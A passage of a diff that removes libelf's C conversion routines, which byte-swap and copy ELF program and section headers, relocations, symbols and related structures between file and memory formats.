-		t = *s++;
-		SWAP_OFF64(t);
-		WRITE_OFF64(dst,t);
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_OFF64_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Off t, *d = (Elf64_Off *) (uintptr_t) dst;
-	size_t c;
-
-	if (dsz < count * sizeof(Elf64_Off))
-		return (0);
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*d));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		READ_OFF64(src,t);
-		SWAP_OFF64(t);
-		*d++ = t;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_PHDR32_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Phdr	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf32_Phdr *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf32_Phdr */
-			SWAP_WORD(t.p_type);
-			SWAP_OFF32(t.p_offset);
-			SWAP_ADDR32(t.p_vaddr);
-			SWAP_ADDR32(t.p_paddr);
-			SWAP_WORD(t.p_filesz);
-			SWAP_WORD(t.p_memsz);
-			SWAP_WORD(t.p_flags);
-			SWAP_WORD(t.p_align);
-			/**/
-		}
-		/* Write an Elf32_Phdr */
-		WRITE_WORD(dst,t.p_type);
-		WRITE_OFF32(dst,t.p_offset);
-		WRITE_ADDR32(dst,t.p_vaddr);
-		WRITE_ADDR32(dst,t.p_paddr);
-		WRITE_WORD(dst,t.p_filesz);
-		WRITE_WORD(dst,t.p_memsz);
-		WRITE_WORD(dst,t.p_flags);
-		WRITE_WORD(dst,t.p_align);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_PHDR32_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Phdr	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf32_fsize(ELF_T_PHDR, (size_t) 1, EV_CURRENT);
-	d   = ((Elf32_Phdr *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf32_Phdr))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf32_Phdr */
-		READ_WORD(s,t.p_type);
-		READ_OFF32(s,t.p_offset);
-		READ_ADDR32(s,t.p_vaddr);
-		READ_ADDR32(s,t.p_paddr);
-		READ_WORD(s,t.p_filesz);
-		READ_WORD(s,t.p_memsz);
-		READ_WORD(s,t.p_flags);
-		READ_WORD(s,t.p_align);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf32_Phdr */
-			SWAP_WORD(t.p_type);
-			SWAP_OFF32(t.p_offset);
-			SWAP_ADDR32(t.p_vaddr);
-			SWAP_ADDR32(t.p_paddr);
-			SWAP_WORD(t.p_filesz);
-			SWAP_WORD(t.p_memsz);
-			SWAP_WORD(t.p_flags);
-			SWAP_WORD(t.p_align);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-       
-static int
-_libelf_cvt_PHDR64_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Phdr	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf64_Phdr *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf64_Phdr */
-			SWAP_WORD(t.p_type);
-			SWAP_WORD(t.p_flags);
-			SWAP_OFF64(t.p_offset);
-			SWAP_ADDR64(t.p_vaddr);
-			SWAP_ADDR64(t.p_paddr);
-			SWAP_XWORD(t.p_filesz);
-			SWAP_XWORD(t.p_memsz);
-			SWAP_XWORD(t.p_align);
-			/**/
-		}
-		/* Write an Elf64_Phdr */
-		WRITE_WORD(dst,t.p_type);
-		WRITE_WORD(dst,t.p_flags);
-		WRITE_OFF64(dst,t.p_offset);
-		WRITE_ADDR64(dst,t.p_vaddr);
-		WRITE_ADDR64(dst,t.p_paddr);
-		WRITE_XWORD(dst,t.p_filesz);
-		WRITE_XWORD(dst,t.p_memsz);
-		WRITE_XWORD(dst,t.p_align);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_PHDR64_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Phdr	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf64_fsize(ELF_T_PHDR, (size_t) 1, EV_CURRENT);
-	d   = ((Elf64_Phdr *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf64_Phdr))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf64_Phdr */
-		READ_WORD(s,t.p_type);
-		READ_WORD(s,t.p_flags);
-		READ_OFF64(s,t.p_offset);
-		READ_ADDR64(s,t.p_vaddr);
-		READ_ADDR64(s,t.p_paddr);
-		READ_XWORD(s,t.p_filesz);
-		READ_XWORD(s,t.p_memsz);
-		READ_XWORD(s,t.p_align);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf64_Phdr */
-			SWAP_WORD(t.p_type);
-			SWAP_WORD(t.p_flags);
-			SWAP_OFF64(t.p_offset);
-			SWAP_ADDR64(t.p_vaddr);
-			SWAP_ADDR64(t.p_paddr);
-			SWAP_XWORD(t.p_filesz);
-			SWAP_XWORD(t.p_memsz);
-			SWAP_XWORD(t.p_align);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_REL32_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Rel	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf32_Rel *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf32_Rel */
-			SWAP_ADDR32(t.r_offset);
-			SWAP_WORD(t.r_info);
-			/**/
-		}
-		/* Write an Elf32_Rel */
-		WRITE_ADDR32(dst,t.r_offset);
-		WRITE_WORD(dst,t.r_info);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_REL32_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Rel	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf32_fsize(ELF_T_REL, (size_t) 1, EV_CURRENT);
-	d   = ((Elf32_Rel *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf32_Rel))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf32_Rel */
-		READ_ADDR32(s,t.r_offset);
-		READ_WORD(s,t.r_info);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf32_Rel */
-			SWAP_ADDR32(t.r_offset);
-			SWAP_WORD(t.r_info);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-       
-static int
-_libelf_cvt_REL64_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Rel	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf64_Rel *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf64_Rel */
-			SWAP_ADDR64(t.r_offset);
-			SWAP_XWORD(t.r_info);
-			/**/
-		}
-		/* Write an Elf64_Rel */
-		WRITE_ADDR64(dst,t.r_offset);
-		WRITE_XWORD(dst,t.r_info);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_REL64_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Rel	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf64_fsize(ELF_T_REL, (size_t) 1, EV_CURRENT);
-	d   = ((Elf64_Rel *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf64_Rel))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf64_Rel */
-		READ_ADDR64(s,t.r_offset);
-		READ_XWORD(s,t.r_info);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf64_Rel */
-			SWAP_ADDR64(t.r_offset);
-			SWAP_XWORD(t.r_info);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_RELA32_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Rela	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf32_Rela *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf32_Rela */
-			SWAP_ADDR32(t.r_offset);
-			SWAP_WORD(t.r_info);
-			SWAP_SWORD(t.r_addend);
-			/**/
-		}
-		/* Write an Elf32_Rela */
-		WRITE_ADDR32(dst,t.r_offset);
-		WRITE_WORD(dst,t.r_info);
-		WRITE_SWORD(dst,t.r_addend);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_RELA32_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Rela	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf32_fsize(ELF_T_RELA, (size_t) 1, EV_CURRENT);
-	d   = ((Elf32_Rela *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf32_Rela))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf32_Rela */
-		READ_ADDR32(s,t.r_offset);
-		READ_WORD(s,t.r_info);
-		READ_SWORD(s,t.r_addend);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf32_Rela */
-			SWAP_ADDR32(t.r_offset);
-			SWAP_WORD(t.r_info);
-			SWAP_SWORD(t.r_addend);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-       
-static int
-_libelf_cvt_RELA64_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Rela	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf64_Rela *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf64_Rela */
-			SWAP_ADDR64(t.r_offset);
-			SWAP_XWORD(t.r_info);
-			SWAP_SXWORD(t.r_addend);
-			/**/
-		}
-		/* Write an Elf64_Rela */
-		WRITE_ADDR64(dst,t.r_offset);
-		WRITE_XWORD(dst,t.r_info);
-		WRITE_SXWORD(dst,t.r_addend);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_RELA64_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Rela	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf64_fsize(ELF_T_RELA, (size_t) 1, EV_CURRENT);
-	d   = ((Elf64_Rela *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf64_Rela))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf64_Rela */
-		READ_ADDR64(s,t.r_offset);
-		READ_XWORD(s,t.r_info);
-		READ_SXWORD(s,t.r_addend);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf64_Rela */
-			SWAP_ADDR64(t.r_offset);
-			SWAP_XWORD(t.r_info);
-			SWAP_SXWORD(t.r_addend);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_SHDR32_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Shdr	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf32_Shdr *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf32_Shdr */
-			SWAP_WORD(t.sh_name);
-			SWAP_WORD(t.sh_type);
-			SWAP_WORD(t.sh_flags);
-			SWAP_ADDR32(t.sh_addr);
-			SWAP_OFF32(t.sh_offset);
-			SWAP_WORD(t.sh_size);
-			SWAP_WORD(t.sh_link);
-			SWAP_WORD(t.sh_info);
-			SWAP_WORD(t.sh_addralign);
-			SWAP_WORD(t.sh_entsize);
-			/**/
-		}
-		/* Write an Elf32_Shdr */
-		WRITE_WORD(dst,t.sh_name);
-		WRITE_WORD(dst,t.sh_type);
-		WRITE_WORD(dst,t.sh_flags);
-		WRITE_ADDR32(dst,t.sh_addr);
-		WRITE_OFF32(dst,t.sh_offset);
-		WRITE_WORD(dst,t.sh_size);
-		WRITE_WORD(dst,t.sh_link);
-		WRITE_WORD(dst,t.sh_info);
-		WRITE_WORD(dst,t.sh_addralign);
-		WRITE_WORD(dst,t.sh_entsize);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_SHDR32_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Shdr	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf32_fsize(ELF_T_SHDR, (size_t) 1, EV_CURRENT);
-	d   = ((Elf32_Shdr *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf32_Shdr))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf32_Shdr */
-		READ_WORD(s,t.sh_name);
-		READ_WORD(s,t.sh_type);
-		READ_WORD(s,t.sh_flags);
-		READ_ADDR32(s,t.sh_addr);
-		READ_OFF32(s,t.sh_offset);
-		READ_WORD(s,t.sh_size);
-		READ_WORD(s,t.sh_link);
-		READ_WORD(s,t.sh_info);
-		READ_WORD(s,t.sh_addralign);
-		READ_WORD(s,t.sh_entsize);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf32_Shdr */
-			SWAP_WORD(t.sh_name);
-			SWAP_WORD(t.sh_type);
-			SWAP_WORD(t.sh_flags);
-			SWAP_ADDR32(t.sh_addr);
-			SWAP_OFF32(t.sh_offset);
-			SWAP_WORD(t.sh_size);
-			SWAP_WORD(t.sh_link);
-			SWAP_WORD(t.sh_info);
-			SWAP_WORD(t.sh_addralign);
-			SWAP_WORD(t.sh_entsize);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-       
-static int
-_libelf_cvt_SHDR64_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Shdr	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf64_Shdr *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf64_Shdr */
-			SWAP_WORD(t.sh_name);
-			SWAP_WORD(t.sh_type);
-			SWAP_XWORD(t.sh_flags);
-			SWAP_ADDR64(t.sh_addr);
-			SWAP_OFF64(t.sh_offset);
-			SWAP_XWORD(t.sh_size);
-			SWAP_WORD(t.sh_link);
-			SWAP_WORD(t.sh_info);
-			SWAP_XWORD(t.sh_addralign);
-			SWAP_XWORD(t.sh_entsize);
-			/**/
-		}
-		/* Write an Elf64_Shdr */
-		WRITE_WORD(dst,t.sh_name);
-		WRITE_WORD(dst,t.sh_type);
-		WRITE_XWORD(dst,t.sh_flags);
-		WRITE_ADDR64(dst,t.sh_addr);
-		WRITE_OFF64(dst,t.sh_offset);
-		WRITE_XWORD(dst,t.sh_size);
-		WRITE_WORD(dst,t.sh_link);
-		WRITE_WORD(dst,t.sh_info);
-		WRITE_XWORD(dst,t.sh_addralign);
-		WRITE_XWORD(dst,t.sh_entsize);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_SHDR64_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Shdr	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf64_fsize(ELF_T_SHDR, (size_t) 1, EV_CURRENT);
-	d   = ((Elf64_Shdr *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf64_Shdr))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf64_Shdr */
-		READ_WORD(s,t.sh_name);
-		READ_WORD(s,t.sh_type);
-		READ_XWORD(s,t.sh_flags);
-		READ_ADDR64(s,t.sh_addr);
-		READ_OFF64(s,t.sh_offset);
-		READ_XWORD(s,t.sh_size);
-		READ_WORD(s,t.sh_link);
-		READ_WORD(s,t.sh_info);
-		READ_XWORD(s,t.sh_addralign);
-		READ_XWORD(s,t.sh_entsize);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf64_Shdr */
-			SWAP_WORD(t.sh_name);
-			SWAP_WORD(t.sh_type);
-			SWAP_XWORD(t.sh_flags);
-			SWAP_ADDR64(t.sh_addr);
-			SWAP_OFF64(t.sh_offset);
-			SWAP_XWORD(t.sh_size);
-			SWAP_WORD(t.sh_link);
-			SWAP_WORD(t.sh_info);
-			SWAP_XWORD(t.sh_addralign);
-			SWAP_XWORD(t.sh_entsize);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_SWORD_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Sword t, *s = (Elf64_Sword *) (uintptr_t) src;
-	size_t c;
-
-	(void) dsz;
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*s));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		SWAP_SWORD(t);
-		WRITE_SWORD(dst,t);
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_SWORD_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Sword t, *d = (Elf64_Sword *) (uintptr_t) dst;
-	size_t c;
-
-	if (dsz < count * sizeof(Elf64_Sword))
-		return (0);
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*d));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		READ_SWORD(src,t);
-		SWAP_SWORD(t);
-		*d++ = t;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_SXWORD_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Sxword t, *s = (Elf64_Sxword *) (uintptr_t) src;
-	size_t c;
-
-	(void) dsz;
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*s));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		SWAP_SXWORD(t);
-		WRITE_SXWORD(dst,t);
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_SXWORD_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Sxword t, *d = (Elf64_Sxword *) (uintptr_t) dst;
-	size_t c;
-
-	if (dsz < count * sizeof(Elf64_Sxword))
-		return (0);
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*d));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		READ_SXWORD(src,t);
-		SWAP_SXWORD(t);
-		*d++ = t;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_SYMINFO32_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Syminfo	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf32_Syminfo *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf32_Syminfo */
-			SWAP_HALF(t.si_boundto);
-			SWAP_HALF(t.si_flags);
-			/**/
-		}
-		/* Write an Elf32_Syminfo */
-		WRITE_HALF(dst,t.si_boundto);
-		WRITE_HALF(dst,t.si_flags);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_SYMINFO32_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Syminfo	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf32_fsize(ELF_T_SYMINFO, (size_t) 1, EV_CURRENT);
-	d   = ((Elf32_Syminfo *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf32_Syminfo))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf32_Syminfo */
-		READ_HALF(s,t.si_boundto);
-		READ_HALF(s,t.si_flags);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf32_Syminfo */
-			SWAP_HALF(t.si_boundto);
-			SWAP_HALF(t.si_flags);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-       
-static int
-_libelf_cvt_SYMINFO64_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Syminfo	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf64_Syminfo *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf64_Syminfo */
-			SWAP_HALF(t.si_boundto);
-			SWAP_HALF(t.si_flags);
-			/**/
-		}
-		/* Write an Elf64_Syminfo */
-		WRITE_HALF(dst,t.si_boundto);
-		WRITE_HALF(dst,t.si_flags);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_SYMINFO64_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Syminfo	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf64_fsize(ELF_T_SYMINFO, (size_t) 1, EV_CURRENT);
-	d   = ((Elf64_Syminfo *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf64_Syminfo))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf64_Syminfo */
-		READ_HALF(s,t.si_boundto);
-		READ_HALF(s,t.si_flags);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf64_Syminfo */
-			SWAP_HALF(t.si_boundto);
-			SWAP_HALF(t.si_flags);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_SYM32_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Sym	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf32_Sym *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf32_Sym */
-			SWAP_WORD(t.st_name);
-			SWAP_ADDR32(t.st_value);
-			SWAP_WORD(t.st_size);
-			SWAP_BYTE(t.st_info);
-			SWAP_BYTE(t.st_other);
-			SWAP_HALF(t.st_shndx);
-			/**/
-		}
-		/* Write an Elf32_Sym */
-		WRITE_WORD(dst,t.st_name);
-		WRITE_ADDR32(dst,t.st_value);
-		WRITE_WORD(dst,t.st_size);
-		WRITE_BYTE(dst,t.st_info);
-		WRITE_BYTE(dst,t.st_other);
-		WRITE_HALF(dst,t.st_shndx);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_SYM32_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Sym	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf32_fsize(ELF_T_SYM, (size_t) 1, EV_CURRENT);
-	d   = ((Elf32_Sym *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf32_Sym))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf32_Sym */
-		READ_WORD(s,t.st_name);
-		READ_ADDR32(s,t.st_value);
-		READ_WORD(s,t.st_size);
-		READ_BYTE(s,t.st_info);
-		READ_BYTE(s,t.st_other);
-		READ_HALF(s,t.st_shndx);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf32_Sym */
-			SWAP_WORD(t.st_name);
-			SWAP_ADDR32(t.st_value);
-			SWAP_WORD(t.st_size);
-			SWAP_BYTE(t.st_info);
-			SWAP_BYTE(t.st_other);
-			SWAP_HALF(t.st_shndx);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-       
-static int
-_libelf_cvt_SYM64_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Sym	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf64_Sym *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf64_Sym */
-			SWAP_WORD(t.st_name);
-			SWAP_BYTE(t.st_info);
-			SWAP_BYTE(t.st_other);
-			SWAP_HALF(t.st_shndx);
-			SWAP_ADDR64(t.st_value);
-			SWAP_XWORD(t.st_size);
-			/**/
-		}
-		/* Write an Elf64_Sym */
-		WRITE_WORD(dst,t.st_name);
-		WRITE_BYTE(dst,t.st_info);
-		WRITE_BYTE(dst,t.st_other);
-		WRITE_HALF(dst,t.st_shndx);
-		WRITE_ADDR64(dst,t.st_value);
-		WRITE_XWORD(dst,t.st_size);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_SYM64_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Sym	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf64_fsize(ELF_T_SYM, (size_t) 1, EV_CURRENT);
-	d   = ((Elf64_Sym *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf64_Sym))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf64_Sym */
-		READ_WORD(s,t.st_name);
-		READ_BYTE(s,t.st_info);
-		READ_BYTE(s,t.st_other);
-		READ_HALF(s,t.st_shndx);
-		READ_ADDR64(s,t.st_value);
-		READ_XWORD(s,t.st_size);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf64_Sym */
-			SWAP_WORD(t.st_name);
-			SWAP_BYTE(t.st_info);
-			SWAP_BYTE(t.st_other);
-			SWAP_HALF(t.st_shndx);
-			SWAP_ADDR64(t.st_value);
-			SWAP_XWORD(t.st_size);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_WORD_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Word t, *s = (Elf64_Word *) (uintptr_t) src;
-	size_t c;
-
-	(void) dsz;
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*s));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		SWAP_WORD(t);
-		WRITE_WORD(dst,t);
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_WORD_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Word t, *d = (Elf64_Word *) (uintptr_t) dst;
-	size_t c;
-
-	if (dsz < count * sizeof(Elf64_Word))
-		return (0);
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*d));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		READ_WORD(src,t);
-		SWAP_WORD(t);
-		*d++ = t;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_XWORD_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Xword t, *s = (Elf64_Xword *) (uintptr_t) src;
-	size_t c;
-
-	(void) dsz;
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*s));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		SWAP_XWORD(t);
-		WRITE_XWORD(dst,t);
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_XWORD_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Xword t, *d = (Elf64_Xword *) (uintptr_t) dst;
-	size_t c;
-
-	if (dsz < count * sizeof(Elf64_Xword))
-		return (0);
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*d));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		READ_XWORD(src,t);
-		SWAP_XWORD(t);
-		*d++ = t;
-	}
-
-	return (1);
-}
-
-
-static int
-_libelf_cvt_VDEF32_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Verdef	t;
-	Elf32_Verdaux	a;
-	const size_t	verfsz = 20;
-	const size_t	auxfsz = 8;
-	const size_t	vermsz = sizeof(Elf32_Verdef);
-	const size_t	auxmsz = sizeof(Elf32_Verdaux);
-	char * const	dstend = dst + dsz;
-	char * const	srcend = src + count;
-	char		*dtmp, *dstaux, *srcaux;
-	Elf32_Word	aux, anext, cnt, vnext;
-
-	for (dtmp = dst, vnext = ~0;
-	     vnext != 0 && dtmp + verfsz <= dstend && src + vermsz <= srcend;
-	     dtmp += vnext, src += vnext) {
-
-		/* Read in an Elf32_Verdef structure. */
-		t = *((Elf32_Verdef *) (uintptr_t) src);
-
-		aux = t.vd_aux;
-		cnt = t.vd_cnt;
-		vnext = t.vd_next;
-
